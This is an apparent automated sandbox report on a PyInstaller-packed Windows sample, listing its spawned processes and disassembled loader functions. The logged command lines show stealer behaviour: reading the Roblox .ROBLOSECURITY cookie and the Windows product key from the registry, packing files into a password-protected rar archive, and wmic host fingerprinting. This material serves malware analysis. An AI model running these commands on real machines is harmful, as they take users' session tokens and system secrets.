Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	22:16:07
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	22:16:07
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	22:16:12
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	22:16:12
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	59
Start time:	22:16:12
Start date:	15/09/2023
Path:	C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\Temp\_MEI68562\rar.exe a -r -hp"Zsombec1234" "C:\Users\user\AppData\Local\Temp\7sLxM.zip" *
Imagebase:	0x7ff6ee730000
File size:	630'736 bytes
MD5 hash:	9C223575AE5B9544BC3D69AC6364F75E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	22:16:13
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic os get Caption"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	61
Start time:	22:16:13
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	62
Start time:	22:16:13
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic os get Caption
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	63
Start time:	22:16:14
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	64
Start time:	22:16:14
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	65
Start time:	22:16:14
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic computersystem get totalphysicalmemory
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	66
Start time:	22:16:15
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 6328, Parent PID: 6700

General

Target ID:	67
Start time:	22:16:15
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	68
Start time:	22:16:15
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic csproduct get uuid
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	69
Start time:	22:16:16
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	70
Start time:	22:16:16
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	71
Start time:	22:16:16
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	72
Start time:	22:16:16
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Analysis Process: conhost.exePID: 4772, Parent PID: 1080

General

Target ID:	73
Start time:	22:16:16
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	74
Start time:	22:16:17
Start date:	15/09/2023
Path:	C:\Windows\System32\wbem\WMIC.exe
Wow64 process (32bit):	false
Commandline:	wmic path win32_VideoController get name
Imagebase:	0x7ff6a2030000
File size:	521'728 bytes
MD5 hash:	EC80E603E0090B3AC3C1234C2BA43A0F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	75
Start time:	22:16:17
Start date:	15/09/2023
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
Imagebase:	0x7ff7a8120000
File size:	273'920 bytes
MD5 hash:	4E2ACF4F8A396486AB4268C94A6A245F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	76
Start time:	22:16:17
Start date:	15/09/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6bab10000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	77
Start time:	22:16:17
Start date:	15/09/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
Imagebase:	0x7ff6afba0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	12.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	18.8%
Total number of Nodes:	2000
Total number of Limit Nodes:	71

Executed Functions

Function 00007FF614C94E50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 334
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF614C94E95

Part of subcall function 00007FF614C947E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C947FC

Part of subcall function 00007FF614C89E48: RtlReleasePrivilege.NTDLL(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

Part of subcall function 00007FF614C89E00: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF614C89DDF,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C89E09
Part of subcall function 00007FF614C89E00: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF614C89DDF,?,?,?,?,?,00007FF614C8221C), ref: 00007FF614C89E2E

_get_daylight.LIBCMT ref: 00007FF614C94E84

Part of subcall function 00007FF614C94848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9485C

_get_daylight.LIBCMT ref: 00007FF614C950FA
_get_daylight.LIBCMT ref: 00007FF614C9510B
_get_daylight.LIBCMT ref: 00007FF614C9511C
GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C9535C), ref: 00007FF614C95143

Strings

W. Europe Standard Time, xrefs: 00007FF614C951E9
W. Europe Daylight Time, xrefs: 00007FF614C95201

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureInformationLastPresentPrivilegeProcessProcessorReleaseTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 415722205-986674615
Opcode ID: 33e166344f1c2e2cd7caacd2227ecf44b8e0e081e44327976083296b7a0746f2
Instruction ID: cb42433b5953b0dda67b1e0089ff244890e0d84ac0495b15073d0d30240f97a8
Opcode Fuzzy Hash: 33e166344f1c2e2cd7caacd2227ecf44b8e0e081e44327976083296b7a0746f2
Instruction Fuzzy Hash: 3BD1C126E08A4296E7249F25D4D01B967B1FF56FA8F448137EA0DC7A85DF3DE841C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C95D9C Relevance: 13.8, APIs: 9, Instructions: 276
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95B11
Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95B8F
Part of subcall function 00007FF614C95AD0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C95BE0

CreateFileW.KERNELBASE ref: 00007FF614C95EA2
CreateFileW.KERNEL32 ref: 00007FF614C95EF2
GetLastError.KERNEL32 ref: 00007FF614C95F22
GetFileType.KERNELBASE ref: 00007FF614C95F37
GetLastError.KERNEL32 ref: 00007FF614C95F41
CloseHandle.KERNEL32 ref: 00007FF614C95F74
CloseHandle.KERNEL32 ref: 00007FF614C960D7
CreateFileW.KERNEL32 ref: 00007FF614C9610C
GetLastError.KERNEL32 ref: 00007FF614C9611B

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: 4c9dcb694f9da37b9569774e6528ce897b09f0f884fc50d365155145b1bc53bc
Instruction ID: b68f983b892a7b5db8c62fe9801dbb15b0ac0717b6815dec5b91bd7101bebb8a
Opcode Fuzzy Hash: 4c9dcb694f9da37b9569774e6528ce897b09f0f884fc50d365155145b1bc53bc
Instruction Fuzzy Hash: AFC1AD37B28E4295EB10CF68C4D06AC3771EB5AFA8B01523ADA2E97795DF3AD551C300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C767A0 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 141
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTempPathW.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C76837

Part of subcall function 00007FF614C769B0: GetEnvironmentVariableW.KERNEL32(00007FF614C73707), ref: 00007FF614C769EA
Part of subcall function 00007FF614C769B0: ExpandEnvironmentStringsW.KERNEL32 ref: 00007FF614C76A07

Part of subcall function 00007FF614C866E4: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C866FD

SetEnvironmentVariableW.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C768F1

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

TMP, xrefs: 00007FF614C76800
_MEI%d, xrefs: 00007FF614C76845
LOADER: Failed to set the TMP environment variable., xrefs: 00007FF614C7681A
TMP, xrefs: 00007FF614C767DA, 00007FF614C76899, 00007FF614C76927

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: Environment$Variable$ExpandMessagePathStringsTemp_invalid_parameter_noinfo
String ID: LOADER: Failed to set the TMP environment variable.$TMP$TMP$_MEI%d
API String ID: 3752271684-1116378104
Opcode ID: 1a0ee3ea3cf854b8610bb8cc6340f268ff9651d41f5ec51d8c7de28d4373f64b
Instruction ID: 1cae1ea25543fdb881c81395485c0a068bf470262e7b5c1990f7eaaaa6251334
Opcode Fuzzy Hash: 1a0ee3ea3cf854b8610bb8cc6340f268ff9651d41f5ec51d8c7de28d4373f64b
Instruction Fuzzy Hash: 29515D21B0DA4392FE14A776A9952BAA2619F47FF1F445037ED0ECB797EE2DE4018300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C950CC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 143
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_get_daylight.LIBCMT ref: 00007FF614C950FA

Part of subcall function 00007FF614C94848: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9485C

_get_daylight.LIBCMT ref: 00007FF614C9510B

Part of subcall function 00007FF614C947E8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C947FC

_get_daylight.LIBCMT ref: 00007FF614C9511C

Part of subcall function 00007FF614C94818: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C9482C

Part of subcall function 00007FF614C89E48: RtlReleasePrivilege.NTDLL(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E5E
Part of subcall function 00007FF614C89E48: GetLastError.KERNEL32(?,?,?,00007FF614C91E72,?,?,?,00007FF614C91EAF,?,?,00000000,00007FF614C92375,?,?,?,00007FF614C922A7), ref: 00007FF614C89E68

GetTimeZoneInformation.KERNELBASE(?,?,?,?,?,?,?,?,?,00000000,?,00007FF614C9535C), ref: 00007FF614C95143

Strings

W. Europe Standard Time, xrefs: 00007FF614C951E9
W. Europe Daylight Time, xrefs: 00007FF614C95201

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorInformationLastPrivilegeReleaseTimeZone
String ID: W. Europe Daylight Time$W. Europe Standard Time
API String ID: 1182710636-986674615
Opcode ID: 51ad445c25b45f3d776946b5c57fad9b99f7b138fe1ab62d11b9ea19d7bbbd5c
Instruction ID: 3467c06d292c2f9e9a3e86a1de5ffc1b2cf8cfba00a850a0ab9599cce632a896
Opcode Fuzzy Hash: 51ad445c25b45f3d776946b5c57fad9b99f7b138fe1ab62d11b9ea19d7bbbd5c
Instruction Fuzzy Hash: B251AD36A08E4296E714DF21E8C15B96770FB5AFA8F408137EA0DC3A96DF3DE4418740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C7B1B0 Relevance: 3.0, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE ref: 00007FF614C7B1B9
_invalid_parameter_noinfo.LIBCMT ref: 00007FF614C88B38

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: ExceptionFilterUnhandled_invalid_parameter_noinfo
String ID:
API String ID: 59578552-0
Opcode ID: 2d1ec54d9dc1f814aac4ffc56ccc42f9ec7497739519b971d77b754768042176
Instruction ID: 8589a500f0291bc674069ddf769efa1a77272bf0df5498fe465d48b40ae2e558
Opcode Fuzzy Hash: 2d1ec54d9dc1f814aac4ffc56ccc42f9ec7497739519b971d77b754768042176
Instruction Fuzzy Hash: 6EE0B670E1D94382F61876A95CC30BE10B05F97B30FA0023BE11AC7AD2CD6D2592AA26

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C717B0 Relevance: 21.1, APIs: 2, Strings: 10, Instructions: 144
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fread_nolock.LIBCMT ref: 00007FF614C7185C
_fread_nolock.LIBCMT ref: 00007FF614C7190E

Part of subcall function 00007FF614C7F3A0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF614C7F3B4

Part of subcall function 00007FF614C72770: MessageBoxW.USER32 ref: 00007FF614C72845

Strings

fread, xrefs: 00007FF614C7186E
MEI, xrefs: 00007FF614C717EF
malloc, xrefs: 00007FF614C718EA
Could not read full TOC!, xrefs: 00007FF614C71919
Error on file., xrefs: 00007FF614C7193D
Could not allocate buffer for TOC!, xrefs: 00007FF614C718E3
Failed to seek to cookie position!, xrefs: 00007FF614C7182F
Failed to read cookie!, xrefs: 00007FF614C71867
Cannot read Table of Contents., xrefs: 00007FF614C71995
fseek, xrefs: 00007FF614C71836

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID: _fread_nolock$Message_invalid_parameter_noinfo
String ID: Cannot read Table of Contents.$Could not allocate buffer for TOC!$Could not read full TOC!$Error on file.$Failed to read cookie!$Failed to seek to cookie position!$MEI$fread$fseek$malloc
API String ID: 2153230061-4158440160
Opcode ID: 74b152d2f2539e24a2e932bae29537e2be075208bf4e50edcea38641dca22453
Instruction ID: fc024c6191311fc2d0b1db3c8f92be47550509f0b7b486c87cb3a172f5e39cb1
Opcode Fuzzy Hash: 74b152d2f2539e24a2e932bae29537e2be075208bf4e50edcea38641dca22453
Instruction Fuzzy Hash: 9A514772A1DE0286EB54CF28D4D127823B1EB8AF69B518137DA0DC3799DE3CE541C740

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C71440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

Failed to extract %s: failed to open archive file!, xrefs: 00007FF614C714CA
fread, xrefs: 00007FF614C715EC
malloc, xrefs: 00007FF614C71560
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF614C715E5
fwrite, xrefs: 00007FF614C715DC
Failed to extract %s: failed to open target file!, xrefs: 00007FF614C7148A
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF614C71559
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF614C714F9
fopen, xrefs: 00007FF614C71491
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF614C715D5
fseek, xrefs: 00007FF614C71500

Memory Dump Source

Source File: 00000000.00000002.246803948.00007FF614C71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF614C70000, based on PE: true

Associated: 00000000.00000002.246796360.00007FF614C70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246812561.00007FF614C9A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CAD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246821105.00007FF614CBC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.246836153.00007FF614CBE000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff614c70000_VSSADMIN.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: 1a5f48eb8e6aeba63a7b107ec5cbd23da28d659e00bdd0f0ebeaed79e5a7b8c4
Instruction ID: 002627bfc82ce9889b8d8cd2fb871a574f5cee74e2ef7071d5e6b6c9794b3c83
Opcode Fuzzy Hash: 1a5f48eb8e6aeba63a7b107ec5cbd23da28d659e00bdd0f0ebeaed79e5a7b8c4
Instruction Fuzzy Hash: FC51AC61B0CE8292EA109B15E4D56B963B2AF86FF9F444133DE0D87796EE3EE5458300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF614C778D0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF614C7687A,?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77910
OpenProcessToken.ADVAPI32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77921
GetTokenInformation.KERNELBASE(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C77943
GetLastError.KERNEL32(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C7794D
GetTokenInformation.KERNELBASE(?,?,00000000,?,?,00007FF614C7676D), ref: 00007FF614C7798A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF614C7799C
